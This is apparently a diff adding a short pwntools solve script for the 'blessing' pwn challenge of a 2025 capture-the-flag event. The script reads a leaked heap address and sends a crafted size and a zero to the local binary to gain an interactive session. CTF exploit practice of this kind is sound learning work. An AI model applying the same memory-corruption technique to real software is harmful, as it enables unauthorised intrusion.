solve script

cyberapocalypse_ctf_2025_tales_from_eldoria/blessing/a.py

@@ -0,0 +1,21 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./blessing", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendlineafter(b": ", a)
+
+# leak
+r.recvuntil(b"this: ")
+malloced = int(r.recv(14), 16)
+log.info("malloced: %#x", malloced)
+
+# buf
+r.recvuntil(b"song?")
+s(str(malloced+1).encode())
+s(b"0")
+
+r.interactive()